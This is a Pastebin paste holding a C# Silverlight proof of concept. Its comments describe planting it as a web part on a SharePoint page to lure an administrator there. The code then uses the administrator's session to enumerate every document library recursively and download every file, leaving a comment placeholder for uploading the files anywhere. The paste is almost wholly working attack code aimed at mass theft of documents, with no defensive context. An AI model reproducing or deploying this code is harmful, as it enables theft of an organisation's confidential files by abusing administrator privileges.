Guest User

Untitled

a guest
Jun 21st, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.42 KB | None | 0 0
  1. // A user with the privileges / ability to ...
  2. // - upload a file to a single document library
  3. // - edit one shared page, to add a silverlight webpart
  4. // - lure an administrator to visit said page
  5. // .. can, using this Silverlight app, steal all (document library) files on
  6. // the SharePoint server, and post them to some nasty location.
  7.  
  8. var q = new CamlQuery { ViewXml = "<View Scope='Recursive'/>" };
  9. IEnumerable<List> lists =
  10. ClientContext.Current.LoadQuery(
  11. ClientContext.Current.Web.Lists.Where(l => l.BaseTemplate == 101));
  12. ClientContext.Current.ExecuteQueryAsync(
  13. (s, e) =>
  14. {
  15. var itemcolcol = lists.Select(list => ClientContext.Current.LoadQuery(
  16. from item in list.GetItems(q)
  17. where item.FileSystemObjectType == FileSystemObjectType.File
  18. select item)).ToList();
  19. ClientContext.Current.ExecuteQueryAsync(
  20. (s2, e2) =>
  21. {
  22. foreach (var item in itemcolcol.SelectMany(x => x))
  23. {
  24. var dl = new WebClient();
  25. dl.OpenReadCompleted +=
  26. (s3, e3) =>
  27. {
  28. // File is now in e3.Result. Upload it anywhere.
  29. };
  30. dl.OpenReadAsync(new Uri(item["FileRef"] as string, UriKind.Relative));
  31. }
  32. },
  33. (s2, e2) => { });
  34. },
  35. (s, e) => { });
Add Comment
Please, Sign In to add comment